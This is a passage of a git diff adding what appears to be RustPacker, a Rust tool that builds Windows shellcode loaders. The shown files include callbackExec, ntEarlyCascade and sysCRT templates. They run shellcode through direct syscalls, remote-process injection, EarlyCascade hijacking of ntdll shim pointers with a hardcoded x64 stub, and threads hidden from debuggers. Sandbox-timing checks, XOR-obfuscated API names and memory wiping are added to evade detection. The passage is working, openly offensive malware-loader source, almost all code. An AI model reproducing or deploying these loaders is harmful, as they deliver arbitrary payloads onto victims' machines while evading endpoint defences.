return path; + } + } + output_folder.join(format!("target/x86_64-pc-windows-gnu/release/{}", binary_name)) +} + +fn template_name_for_injection(injection_id: &str) -> &'static str { + // The compiled binary inherits its name from the template folder. + match injection_id { + "syscrt" => "sysCRT", + "wincrt" => "winCRT", + "sysfiber" => "sysFIBER", + "earlycascade" => "ntEarlyCascade", + "enum_calendar_info" => "callbackExec", + "enum_desktops" => "callbackExec", + "enum_system_geo_id" => "callbackExec", + "enum_window_stations" => "callbackExec", + "cdef_folder_menu" => "callbackExec", + "rtl_user_fiber_start" => "callbackExec", + other => panic!("unknown injection id: {other}"), + } +} + +pub fn process_output(order: &Order, output_folder_path: &Path) -> io::Result<()> { + let output_path = match &order.output { Some(p) => p, None => return Ok(()) }; + if let Some(parent) = output_path.parent() { + if !parent.exists() { fs::create_dir_all(parent)?; } + } + let source_binary = get_source_binary_filename(order, output_folder_path); + if !source_binary.is_file() { + return Err(io::Error::new(io::ErrorKind::NotFound, format!("Source file does not exist: {:?}", source_binary))); + } + fs::copy(&source_binary, output_path)?; + crate::blog!("[+] Your binary has been written here: {:?}", output_path); + Ok(()) +} + +pub fn generate_random_filename(order: &Order) -> String { + let mut rng = rand::rng(); + let random_string: String = (0..8).map(|_| rng.sample(Alphanumeric) as char).collect(); + format!("{}.{}", random_string, order.format.extension()) +} + +pub fn rename_source_binary(order: &Order, output_folder_path: &Path) -> io::Result<()> { + let source_binary = get_source_binary_filename(order, output_folder_path); + if !source_binary.exists() { + return Err(io::Error::new(io::ErrorKind::NotFound, format!("Source file does not exist: {:?}", source_binary))); + } + let random_filename = generate_random_filename(order); + let release_dir = source_binary.parent().expect("Source binary has no parent directory"); + let new_path = release_dir.join(random_filename); + fs::rename(&source_binary, &new_path)?; + crate::blog!("[+] Source binary has been renamed to: {:?}", new_path); + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::order::{Order, OutputFormat}; + use std::collections::HashMap; + use std::path::PathBuf; + + fn fixture_order(format: OutputFormat) -> Order { + Order { + shellcode_path: PathBuf::from("/tmp/test.bin"), + format, + encryption_id: "xor".to_string(), + injection_id: "syscrt".to_string(), + evasions: Vec::new(), + params: HashMap::new(), + output: None, + sideload: None, + } + } + + #[test] + fn write_to_file_roundtrip() { + let dir = std::env::temp_dir().join("rustpacker_test_tools_write"); + fs::create_dir_all(&dir).unwrap(); + let path = dir.join("test_output.bin"); + let content: Vec = vec![0xCA, 0xFE, 0xBA, 0xBE]; + write_to_file(&content, &path).unwrap(); + let read_back = fs::read(&path).unwrap(); + assert_eq!(read_back, content); + fs::remove_dir_all(&dir).unwrap(); + } + + #[test] + fn absolute_path_already_absolute() { + let path: &Path = if cfg!(windows) { Path::new("C:\\tmp\\test") } else { Path::new("/tmp/test") }; + let result = absolute_path(path).unwrap(); + assert!(result.is_absolute()); + assert_eq!(result, path); + } + + #[test] + fn random_aes_key_length() { assert_eq!(random_aes_key().len(), 32); } + + #[test] + fn random_aes_iv_length() { assert_eq!(random_aes_iv().len(), 16); } + + #[test] + fn generate_random_filename_format() { + let order = fixture_order(OutputFormat::Exe); + let filename = generate_random_filename(&order); + assert!(filename.ends_with(".exe")); + assert_eq!(filename.len(), 12); + } + + #[test] + fn get_source_binary_filename_uses_template_name() { + let order = fixture_order(OutputFormat::Dll); + let path = get_source_binary_filename(&order, Path::new("/output")); + assert!(path.to_string_lossy().contains("sysCRT.dll")); + } +} diff --git a/templates/callbackExec/Cargo.toml b/templates/callbackExec/Cargo.toml new file mode 100644 index 0000000..67595c9 --- /dev/null +++ b/templates/callbackExec/Cargo.toml @@ -0,0 +1,38 @@ +[package] +name = "callbackExec" +version = "0.1.0" +edition = "2021" + +{{DLL_FORMAT}} + +[dependencies] +winapi = { version = "0.3", features = [ + "ntdef", "ntstatus", "impl-default", + "libloaderapi", "processthreadsapi", "memoryapi", + "winnls", "winuser", "synchapi", "winnt", + "debugapi", "errhandlingapi", "sysinfoapi", + "minwindef", "handleapi", +] } +dyncvoke = { git = "https://github.com/Whitecat18/Dyncvoke" } +{{DEPENDENCIES}} + +[dependencies.windows-sys] +version = "0.61" + +features = [ + "Win32_System_Memory", + "Win32_Foundation", + "Win32_Security", + "Win32_System_Threading", + "Win32_System_Com", + "Win32_System_Registry", + "Win32_UI_Shell", + "Win32_UI_Shell_Common", +] + +[profile.release] +strip = true +opt-level = "z" +codegen-units = 1 +panic = "abort" +lto = true diff --git a/templates/callbackExec/src/main.rs b/templates/callbackExec/src/main.rs new file mode 100644 index 0000000..9ebc55a --- /dev/null +++ b/templates/callbackExec/src/main.rs @@ -0,0 +1,122 @@ +#![windows_subsystem = "windows"] +#![allow(non_snake_case, unused_imports, unused_unsafe)] + +use std::ffi::CString; +use std::include_bytes; +use std::ptr::null_mut; +use std::time::Instant; + +use winapi::ctypes::c_void; +use winapi::um::libloaderapi::{GetModuleHandleA, GetProcAddress}; + +use windows_sys::Win32::System::Memory::{ + MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE, +}; + +use dyncvoke::dyncvoke_core::syscall; + +{{IMPORTS}} + +{{SANDBOX_IMPORTS}} + +unsafe fn syscall_alloc_exec(bytes: &[u8]) -> *mut c_void { + let h_proc: *mut c_void = -1isize as *mut c_void; + + let mut base: *mut c_void = null_mut(); + let mut size: usize = bytes.len(); + let status = syscall!( + "NtAllocateVirtualMemory", + h_proc, + &mut base as *mut *mut c_void, + 0usize, + &mut size as *mut usize, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + ).unwrap_or(-1); + if status < 0 || base.is_null() { return null_mut(); } + + std::ptr::copy_nonoverlapping(bytes.as_ptr(), base as *mut u8, bytes.len()); + + let mut old_protect: u32 = 0; + let mut psize: usize = bytes.len(); + let status = syscall!( + "NtProtectVirtualMemory", + h_proc, + &mut base as *mut *mut c_void, + &mut psize as *mut usize, + PAGE_EXECUTE_READ, + &mut old_protect as *mut u32 + ).unwrap_or(-1); + if status < 0 { return null_mut(); } + + base +} + +{{INJECTION_HELPERS}} + +{{DECRYPTION_FUNCTION}} + +const K: u8 = {{API_KEY}}; +const OBF_H: &[u8] = &{{OBF_NT_DELAY_EXECUTION}}; + +fn r(d: &[u8]) -> Vec { + d.iter().map(|b| b ^ K).collect() +} + +unsafe fn g(n: &[u8]) -> *const () { + let h = GetModuleHandleA(b"ntdll\0".as_ptr() as *const i8); + let s = r(n); + let c = CString::new(s).unwrap(); + GetProcAddress(h, c.as_ptr()) as *const () +} + +type FH = unsafe extern "system" fn(u32, *const i64) -> i32; + +fn pause(ms: i64) { + unsafe { + let f: FH = std::mem::transmute(g(OBF_H)); + let interval: i64 = -(ms * 10_000); + f(0, &interval); + } +} + +fn check_environment() -> bool { + let start = Instant::now(); + pause(3000); + start.elapsed().as_millis() >= 2500 +} + +fn wipe(buf: &mut Vec) { + for b in buf.iter_mut() { + unsafe { std::ptr::write_volatile(b as *mut u8, 0); } + } + buf.clear(); +} + +fn detonate(mut vec: Vec) { + {{NT_DELAY_STEP}} + pause(100); + {{NT_DELAY_FINAL}} + + unsafe { + {{CALLBACK_INVOKE}} + } + + wipe(&mut vec); +} + +fn main() { + {{NT_DELAY_AT_START}} + {{SANDBOX}} + + if !check_environment() { return; } + + let buf = include_bytes!({{PATH_TO_SHELLCODE}}); + let mut vec: Vec = buf.to_vec(); + + {{MAIN}} + + detonate(vec); +} + +{{DLL_MAIN}} diff --git a/templates/ntEarlyCascade/.gitignore b/templates/ntEarlyCascade/.gitignore new file mode 100644 index 0000000..5fea26b --- /dev/null +++ b/templates/ntEarlyCascade/.gitignore @@ -0,0 +1,13 @@ +# Generated by Cargo +# will have compiled files and executables +/target/ + +# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries +# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html +Cargo.lock + +# These are backup files generated by rustfmt +**/*.rs.bk + +# Local shellcodes used for tests +*.bin diff --git a/templates/ntEarlyCascade/Cargo.toml b/templates/ntEarlyCascade/Cargo.toml new file mode 100644 index 0000000..8543275 --- /dev/null +++ b/templates/ntEarlyCascade/Cargo.toml @@ -0,0 +1,28 @@ +[package] +name = "ntEarlyCascade" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +{{DLL_FORMAT}} + +[dependencies] +windows-sys = { version = "0.61", features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_System_Threading", + "Win32_System_Memory", + "Win32_System_Diagnostics_Debug", + "Win32_System_LibraryLoader", +] } +# Used by domain_pin and anti_debug evasion snippets. +winapi = { version = "0.3", features = ["sysinfoapi", "ntdef", "libloaderapi", "processthreadsapi", "debugapi", "errhandlingapi", "winnt"] } +{{DEPENDENCIES}} + +[profile.release] +strip = true +opt-level = "z" +codegen-units = 1 +panic = "abort" +lto = true diff --git a/templates/ntEarlyCascade/src/core_file.rs b/templates/ntEarlyCascade/src/core_file.rs new file mode 100644 index 0000000..34491b7 --- /dev/null +++ b/templates/ntEarlyCascade/src/core_file.rs @@ -0,0 +1,172 @@ +// Pattern-scanner helpers for the EarlyCascade injection technique. + +use windows_sys::Win32::System::Memory::RtlCompareMemory; + +const MAX_PATTERN_SIZE: usize = 0x20; + +pub fn encode_system_ptr(ptr: u64) -> u64 { + let cookie: u32 = unsafe { *(0x7FFE0330 as *const u32) }; + ((ptr ^ cookie as u64).rotate_right((cookie & 0x3F) as u32)) as u64 +} + +pub fn find_pattern(buf: &[u8], pat: &[u8]) -> Option { + if buf.len() < pat.len() { + return None; + } + + buf.windows(pat.len()).position(|window| unsafe { + RtlCompareMemory(window.as_ptr() as _, pat.as_ptr() as _, pat.len()) == pat.len() + }) +} + +#[repr(C)] +struct CascadePattern { + data: [u8; MAX_PATTERN_SIZE], + size: u8, + pc_off: u8, +} + +pub fn find_se_dll_loaded(ntdll_base: u64) -> Option<(u64, u64)> { + let patterns = [CascadePattern { + data: [ + 0x8B, 0x14, 0x25, 0x30, 0x03, 0xFE, 0x7F, 0x8B, 0xC2, 0x48, 0x8B, 0x3D, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + ], + size: 12, + pc_off: 4, + }]; + + let dos = ntdll_base as *const u8; + let e_lfanew = unsafe { *(dos.offset(0x3C) as *const i32) } as isize; + let nt = (ntdll_base as isize + e_lfanew) as *const u8; + + let num_sections = unsafe { *(nt.offset(6) as *const u16) } as usize; + let opt_size = unsafe { *(nt.offset(20) as *const u16) } as isize; + + let sec_start = unsafe { nt.offset(24 + opt_size) }; + + let mut text_va = 0u64; + let mut text_size = 0u64; + let mut mrdata_va = 0u64; + let mut mrdata_size = 0u64; + + for i in 0..num_sections { + let sec = unsafe { sec_start.offset((i * 40) as isize) }; + let name_arr = unsafe { *(sec as *const [u8; 8]) }; + + if name_arr == *b".text\0\0\0" { + text_va = unsafe { *(sec.offset(12) as *const u32) } as u64; + text_size = unsafe { *(sec.offset(8) as *const u32) } as u64; + } + if name_arr == *b".mrdata\0" { + mrdata_va = unsafe { *(sec.offset(12) as *const u32) } as u64; + mrdata_size = unsafe { *(sec.offset(8) as *const u32) } as u64; + } + } + + let text_start = ntdll_base + text_va; + + for pat in patterns { + let mut pos = text_start as usize; + let mem = + unsafe { std::slice::from_raw_parts(text_start as *const u8, text_size as usize) }; + + while let Some(off) = find_pattern( + &mem[(pos - text_start as usize)..], + &pat.data[..pat.size as usize], + ) { + pos = text_start as usize + (pos - text_start as usize) + off + pat.size as usize; + if unsafe { *((pos as *const u8).offset(3)) } != 0 { + continue; + } + + let rel = unsafe { *(pos as *const i32) }; + let addr = (pos as u64) + .wrapping_add(rel as u64) + .wrapping_add(pat.pc_off as u64); + + if addr >= ntdll_base + mrdata_va && addr < ntdll_base + mrdata_va + mrdata_size { + return Some((addr, pos as u64 - pat.size as u64)); + } + } + } + None +} + +pub fn find_shims_enabled(ntdll_base: u64, offset_addr: u64) -> Option { + let patterns = [ + CascadePattern { + data: [ + 0xc6, 0x05, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, + ], + size: 2, + pc_off: 5, + }, + CascadePattern { + data: [ + 0x44, 0x38, 0x25, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, + ], + size: 3, + pc_off: 4, + }, + // Win11 variant for `cmp [rel], r13b` + CascadePattern { + data: [ + 0x44, 0x38, 0x2D, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, + ], + size: 3, + pc_off: 4, + }, + ]; + + let search_start = offset_addr.saturating_sub(0xFF); + let search_end = offset_addr + 0xFF; + let mem = unsafe { + std::slice::from_raw_parts( + search_start as *const u8, + (search_end - search_start) as usize, + ) + }; + + let dos = ntdll_base as *const u8; + let e_lfanew = unsafe { *(dos.offset(0x3C) as *const i32) } as isize; + let nt = (ntdll_base as isize + e_lfanew) as *const u8; + let num_sections = unsafe { *(nt.offset(6) as *const u16) } as usize; + let opt_size = unsafe { *(nt.offset(20) as *const u16) } as isize; + + let sec_start = unsafe { nt.offset(24 + opt_size) }; + + let mut data_va = 0u64; + let mut data_size = 0u64; + + for i in 0..num_sections { + let sec = unsafe { sec_start.offset((i * 40) as isize) }; + let name_arr = unsafe { *(sec as *const [u8; 8]) }; + if name_arr == *b".data\0\0\0" { + data_va = unsafe { *(sec.offset(12) as *const u32) } as u64; + data_size = unsafe { *(sec.offset(8) as *const u32) } as u64; + } + } + + for pat in patterns { + let mut cur = 0usize; + while let Some(off) = find_pattern(&mem[cur..], &pat.data[..pat.size as usize]) { + cur += off + pat.size as usize; + let ptr = search_start + cur as u64; + if unsafe { *((ptr + 3) as *const u8) } != 0 { + continue; + } + + let rel = unsafe { *(ptr as *const i32) }; + let addr = ptr.wrapping_add(rel as u64).wrapping_add(pat.pc_off as u64); + + if addr >= ntdll_base + data_va && addr < ntdll_base + data_va + data_size { + return Some(addr); + } + } + } + None +} diff --git a/templates/ntEarlyCascade/src/main.rs b/templates/ntEarlyCascade/src/main.rs new file mode 100644 index 0000000..9945854 --- /dev/null +++ b/templates/ntEarlyCascade/src/main.rs @@ -0,0 +1,182 @@ +// EarlyCascade Injection +// Integrated into RustPacker's template pipeline. + +#![windows_subsystem = "windows"] +#![allow(non_snake_case)] + +use std::include_bytes; +use std::mem::zeroed; +use std::ptr::{null, null_mut}; + +use windows_sys::Win32::{ + Foundation::CloseHandle, + System::{ + Diagnostics::Debug::WriteProcessMemory, + LibraryLoader::GetModuleHandleA, + Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, VirtualAllocEx}, + Threading::{ + CREATE_SUSPENDED, CreateProcessA, PROCESS_INFORMATION, ResumeThread, STARTUPINFOA, + TerminateProcess, + }, + }, +}; +use windows_sys::core::s; + +mod core_file; +mod stubs; + +use core_file::{encode_system_ptr, find_pattern, find_se_dll_loaded, find_shims_enabled}; +use stubs::STUB; + +{{IMPORTS}} + +{{SANDBOX_IMPORTS}} + +{{DECRYPTION_FUNCTION}} + +fn wipe(buf: &mut Vec) { + for b in buf.iter_mut() { + unsafe { std::ptr::write_volatile(b as *mut u8, 0); } + } + buf.clear(); +} + +// Called by {{NT_DELAY_*}} placeholders when the nt_delay evasion is selected. +#[allow(dead_code)] +fn pause(ms: u64) { + std::thread::sleep(std::time::Duration::from_millis(ms)); +} + +unsafe fn cascade(shellcode: &[u8], target_process: &[u8]) { + let si = zeroed::(); + let mut pi = zeroed::(); + + let success = CreateProcessA( + null(), + target_process.as_ptr() as _, + null(), + null(), + 0, + CREATE_SUSPENDED, + null(), + null(), + &si, + &mut pi, + ); + if success == 0 { + return; + } + + {{NT_DELAY_STEP}} + + let ntdll = GetModuleHandleA(s!("ntdll.dll")) as u64; + if ntdll == 0 { + TerminateProcess(pi.hProcess, 1); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + return; + } + + let (se_dll_loaded, offset_addr) = match find_se_dll_loaded(ntdll) { + Some(x) => x, + None => { + TerminateProcess(pi.hProcess, 1); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + return; + } + }; + + let shims_enabled = match find_shims_enabled(ntdll, offset_addr) { + Some(x) => x, + None => { + TerminateProcess(pi.hProcess, 1); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + return; + } + }; + + let remote_mem = VirtualAllocEx( + pi.hProcess, + null_mut(), + STUB.len() + shellcode.len(), + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE, + ); + if remote_mem.is_null() { + TerminateProcess(pi.hProcess, 1); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + return; + } + + {{NT_DELAY_STEP}} + + let stub_addr = remote_mem as u64; + let shell_addr = stub_addr + STUB.len() as u64; + + let placeholder = find_pattern(STUB, &[0x11; 8]).unwrap_or(0); + let mut patched_stub = STUB.to_vec(); + patched_stub[placeholder..placeholder + 8] + .copy_from_slice(&shims_enabled.to_le_bytes()); + + WriteProcessMemory( + pi.hProcess, + remote_mem, + patched_stub.as_ptr() as _, + patched_stub.len(), + null_mut(), + ); + + WriteProcessMemory( + pi.hProcess, + shell_addr as _, + shellcode.as_ptr() as _, + shellcode.len(), + null_mut(), + ); + + let encoded_ptr = encode_system_ptr(stub_addr); + WriteProcessMemory( + pi.hProcess, + se_dll_loaded as _, + &encoded_ptr as *const _ as _, + 8, + null_mut(), + ); + + let enable: u8 = 1; + WriteProcessMemory( + pi.hProcess, + shims_enabled as _, + &enable as *const _ as _, + 1, + null_mut(), + ); + + {{NT_DELAY_STEP}} + {{NT_DELAY_FINAL}} + + ResumeThread(pi.hThread); + + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); +} + +fn main() { + {{NT_DELAY_AT_START}} + {{SANDBOX}} + + let buf = include_bytes!({{PATH_TO_SHELLCODE}}); + let mut vec: Vec = buf.to_vec(); + + {{MAIN}} + + // Process name must be NUL-terminated for CreateProcessA. + let target = b"{{TARGET_PROCESS}}\0"; + unsafe { cascade(&vec, target); } + wipe(&mut vec); +} + +{{DLL_MAIN}} diff --git a/templates/ntEarlyCascade/src/stubs.rs b/templates/ntEarlyCascade/src/stubs.rs new file mode 100644 index 0000000..d5ae294 --- /dev/null +++ b/templates/ntEarlyCascade/src/stubs.rs @@ -0,0 +1,45 @@ +// Extracted EarlyCascade x64 stub. +// Source: stub_calc/stub.bin. +// +// The 8-byte placeholder `0x11 * 8` at runtime gets patched with the +// resolved &g_ShimsEnabled address before being written into the target +// process. + +pub const STUB: &[u8] = &[ + 0x55, 0x56, 0x57, 0x65, 0x48, 0x8B, 0x14, 0x25, 0x60, 0x00, 0x00, 0x00, + 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8D, 0x52, 0x20, 0x52, 0x48, 0x8B, 0x12, + 0x48, 0x8B, 0x12, 0x48, 0x3B, 0x14, 0x24, 0x0F, 0x84, 0xA2, 0x00, 0x00, + 0x00, 0x48, 0xFF, 0xC5, 0x48, 0xFF, 0xCD, 0x74, 0x00, 0x48, 0x8B, 0x72, + 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x48, 0x48, 0xD1, 0xE9, 0x48, 0x83, 0xC1, + 0x08, 0x48, 0x83, 0xE1, 0xF0, 0x48, 0x29, 0xCC, 0x49, 0x89, 0xCA, 0x48, + 0x31, 0xC9, 0x48, 0x31, 0xC0, 0x66, 0xAD, 0x84, 0xC0, 0x74, 0x19, 0x48, + 0xA9, 0x78, 0x56, 0x00, 0x00, 0x90, 0x3C, 0x41, 0x72, 0x06, 0x3C, 0x5A, + 0x77, 0x02, 0x04, 0x20, 0x88, 0x04, 0x0C, 0x48, 0xFF, 0xC1, 0xEB, 0xDE, + 0xC6, 0x04, 0x0C, 0x00, 0x48, 0x89, 0xE6, 0xE8, 0x0B, 0x01, 0x00, 0x00, + 0x4C, 0x01, 0xD4, 0x48, 0xBE, 0x0A, 0xF7, 0x3F, 0x0F, 0xC4, 0x25, 0x19, + 0x32, 0x48, 0x39, 0xFE, 0x74, 0x8E, 0x48, 0xBE, 0xB2, 0x28, 0x6E, 0x1E, + 0x98, 0x4E, 0xE5, 0x04, 0x48, 0x39, 0xFE, 0x0F, 0x84, 0x7B, 0xFF, 0xFF, + 0xFF, 0x48, 0xBE, 0x2D, 0xEA, 0x5D, 0xE5, 0xAE, 0x7B, 0x22, 0xC2, 0x48, + 0x39, 0xFE, 0x0F, 0x84, 0x68, 0xFF, 0xFF, 0xFF, 0xE8, 0x05, 0x00, 0x00, + 0x00, 0xE9, 0xC1, 0x00, 0x00, 0x00, 0x58, 0x48, 0x89, 0x42, 0x28, 0x48, + 0x31, 0xED, 0xE9, 0x51, 0xFF, 0xFF, 0xFF, 0x5A, 0x48, 0xB8, 0x11, 0x11, + 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0xC6, 0x00, 0x00, 0x48, 0x8B, 0x12, + 0x48, 0x8B, 0x12, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x31, 0xC0, 0x8B, 0x42, + 0x3C, 0x48, 0x01, 0xD0, 0x66, 0x81, 0x78, 0x18, 0x0B, 0x02, 0x0F, 0x85, + 0x83, 0x00, 0x00, 0x00, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x01, + 0xD0, 0x50, 0x4D, 0x31, 0xDB, 0x44, 0x8B, 0x58, 0x20, 0x49, 0x01, 0xD3, + 0x48, 0x31, 0xC9, 0x8B, 0x48, 0x18, 0x51, 0x48, 0x85, 0xC9, 0x74, 0x6B, + 0x48, 0x31, 0xF6, 0x41, 0x8B, 0x33, 0x48, 0x01, 0xD6, 0xE8, 0x61, 0x00, + 0x00, 0x00, 0x49, 0x83, 0xC3, 0x04, 0x48, 0xFF, 0xC9, 0x48, 0xBE, 0xF9, + 0x2D, 0xBF, 0xD3, 0xD1, 0x96, 0x9C, 0x5D, 0x48, 0x39, 0xFE, 0x75, 0xD7, + 0x58, 0xFF, 0xC1, 0x29, 0xC8, 0x91, 0x58, 0x44, 0x8B, 0x58, 0x24, 0x49, + 0x01, 0xD3, 0x66, 0x41, 0x8B, 0x0C, 0x4B, 0x44, 0x8B, 0x58, 0x1C, 0x49, + 0x01, 0xD3, 0x41, 0x8B, 0x04, 0x8B, 0x48, 0x01, 0xD0, 0xEB, 0x4D, 0x48, + 0xC7, 0xC1, 0xFE, 0xFF, 0xFF, 0xFF, 0x5A, 0x4D, 0x31, 0xC0, 0x4D, 0x31, + 0xC9, 0x41, 0x51, 0x41, 0x51, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0xD0, 0x48, + 0x83, 0xC4, 0x30, 0x5F, 0x5E, 0x5D, 0x90, 0x48, 0x31, 0xC0, 0xC3, 0x59, + 0x58, 0xEB, 0xF4, 0xBF, 0x37, 0x13, 0x00, 0x00, 0x48, 0x31, 0xC0, 0xAC, + 0x38, 0xE0, 0x74, 0x17, 0x48, 0x83, 0xF0, 0x5A, 0x48, 0xC1, 0xC7, 0x03, + 0x49, 0x89, 0xF8, 0x48, 0xC1, 0xE7, 0x06, 0x4C, 0x01, 0xC7, 0x48, 0x01, + 0xC7, 0xEB, 0xE1, 0xC3, 0xE8, 0xAE, 0xFF, 0xFF, 0xFF, +]; diff --git a/templates/sysCRT/.gitignore b/templates/sysCRT/.gitignore new file mode 100644 index 0000000..c01bd78 --- /dev/null +++ b/templates/sysCRT/.gitignore @@ -0,0 +1,13 @@ +# Generated by Cargo +# will have compiled files and executables +/target/ + +# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries +# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html +Cargo.lock + +# These are backup files generated by rustfmt +**/*.rs.bk + +# Local shellcodes used for tests +*.bin \ No newline at end of file diff --git a/templates/sysCRT/Cargo.toml b/templates/sysCRT/Cargo.toml new file mode 100644 index 0000000..1afe1e2 --- /dev/null +++ b/templates/sysCRT/Cargo.toml @@ -0,0 +1,22 @@ +[package] +name = "sysCRT" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +{{DLL_FORMAT}} + +[dependencies] +dyncvoke = { git = "https://github.com/Whitecat18/Dyncvoke" } +sysinfo = "0.38" +ntapi = { version = "0.4", features = ["impl-default"] } +winapi = { version = "0.3", features = ["ntdef", "ntstatus", "impl-default", "winnt", "libloaderapi", "processthreadsapi", "debugapi", "errhandlingapi", "sysinfoapi"] } +{{DEPENDENCIES}} + +[profile.release] +strip = true # Automatically strip symbols from the binary. +opt-level = "z" +codegen-units = 1 +panic = "abort" +lto = true \ No newline at end of file diff --git a/templates/sysCRT/src/main.rs b/templates/sysCRT/src/main.rs new file mode 100644 index 0000000..b1cec9e --- /dev/null +++ b/templates/sysCRT/src/main.rs @@ -0,0 +1,165 @@ +#![windows_subsystem = "windows"] +#![allow(non_snake_case)] + +use sysinfo::System; +use std::include_bytes; +use dyncvoke::dyncvoke_core::syscall; + +use winapi::{ + um::{ + winnt::{MEM_COMMIT, PAGE_READWRITE, MEM_RESERVE, PROCESS_ALL_ACCESS} + }, + shared::{ + ntdef::{OBJECT_ATTRIBUTES, HANDLE, NT_SUCCESS} + } +}; +use winapi::ctypes::c_void; +use winapi::um::winnt::PAGE_EXECUTE_READ; +use winapi::um::winnt::THREAD_ALL_ACCESS; +use std::{ptr::null_mut}; +use ntapi::ntapi_base::CLIENT_ID; +use ntapi::ntpsapi::THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER; +use winapi::shared::ntdef::NULL; + +use std::time::Instant; + +{{IMPORTS}} + +{{SANDBOX_IMPORTS}} + +{{DECRYPTION_FUNCTION}} + +fn boxboxbox(tar: &str) -> Vec { + let mut dom: Vec = Vec::new(); + let s = System::new_all(); + let tar_lower = tar.to_lowercase(); + for (_, pro) in s.processes() { + if pro.name().to_string_lossy().to_lowercase() == tar_lower { + dom.push(usize::try_from(pro.pid().as_u32()).unwrap()); + } + } + dom +} + +fn pause(ms: i64) { + let interval: i64 = -(ms * 10_000); + let _ = syscall!("NtDelayExecution", 0u32, &interval as *const i64); +} + +fn check_environment() -> bool { + let start = Instant::now(); + pause(3000); + start.elapsed().as_millis() >= 2500 +} + +fn wipe(buf: &mut Vec) { + for b in buf.iter_mut() { + unsafe { std::ptr::write_volatile(b as *mut u8, 0); } + } + buf.clear(); +} + +fn enhance(mut buf: Vec, tar: usize) { + let mut process_handle = tar as HANDLE; + let mut oa = OBJECT_ATTRIBUTES::default(); + let mut ci = CLIENT_ID { + UniqueProcess: process_handle, + UniqueThread: null_mut(), + }; + + unsafe { + let s = syscall!("NtOpenProcess", + &mut process_handle as *mut HANDLE, + PROCESS_ALL_ACCESS, + &mut oa as *mut OBJECT_ATTRIBUTES, + &mut ci as *mut CLIENT_ID + ).unwrap_or(-1); + if !NT_SUCCESS(s) { return; } + + pause(150); + {{NT_DELAY_STEP}} + + let mut base: *mut c_void = null_mut(); + let mut size: usize = buf.len(); + let s = syscall!("NtAllocateVirtualMemory", + process_handle, + &mut base as *mut *mut c_void, + 0usize, + &mut size as *mut usize, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + ).unwrap_or(-1); + if !NT_SUCCESS(s) { return; } + + pause(200); + {{NT_DELAY_STEP}} + + let buf_len = buf.len(); + let mut written: usize = 0; + let s = syscall!("NtWriteVirtualMemory", + process_handle, + base, + buf.as_mut_ptr() as *mut c_void, + buf_len, + &mut written as *mut usize + ).unwrap_or(-1); + if !NT_SUCCESS(s) { return; } + + wipe(&mut buf); + pause(150); + {{NT_DELAY_STEP}} + + let mut old_perms = PAGE_READWRITE; + let mut psize = buf_len; + let s = syscall!("NtProtectVirtualMemory", + process_handle, + &mut base as *mut *mut c_void, + &mut psize as *mut usize, + PAGE_EXECUTE_READ, + &mut old_perms as *mut u32 + ).unwrap_or(-1); + if !NT_SUCCESS(s) { return; } + + pause(100); + {{NT_DELAY_STEP}} + {{NT_DELAY_FINAL}} + + let mut thread_handle: *mut c_void = null_mut(); + let _ = syscall!("NtCreateThreadEx", + &mut thread_handle as *mut *mut c_void, + THREAD_ALL_ACCESS, + NULL, + process_handle, + base, + NULL, + THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER, + 0usize, + 0usize, + 0usize, + NULL + ); + } +} + +fn main() { + {{NT_DELAY_AT_START}} + {{SANDBOX}} + + if !check_environment() { return; } + + let tar: &str = "{{TARGET_PROCESS}}"; + + let buf = include_bytes!({{PATH_TO_SHELLCODE}}); + let mut vec: Vec = buf.to_vec(); + + {{MAIN}} + + let list: Vec = boxboxbox(tar); + if !list.is_empty() { + for i in &list { + enhance(vec.clone(), *i); + } + } +} + +{{DLL_MAIN}} \ No newline at end of file diff --git a/templates/sysFIBER/.gitignore b/templates/sysFIBER/.gitignore new file mode 100644 index 0000000..c01bd78 --- /dev/null +++ b/templates/sysFIBER/.gitignore @@ -0,0 +1,13 @@ +# Generated by Cargo +# will have compiled files and executables +/target/ + +# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries +# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html +Cargo.lock + +# These are backup files generated by rustfmt +**/*.rs.bk + +# Local shellcodes used for tests +*.bin \ No newline at end of file diff --git a/templates/sysFIBER/Cargo.toml b/templates/sysFIBER/Cargo.toml new file mode 100644 index 0000000..0f43e47 --- /dev/null +++ 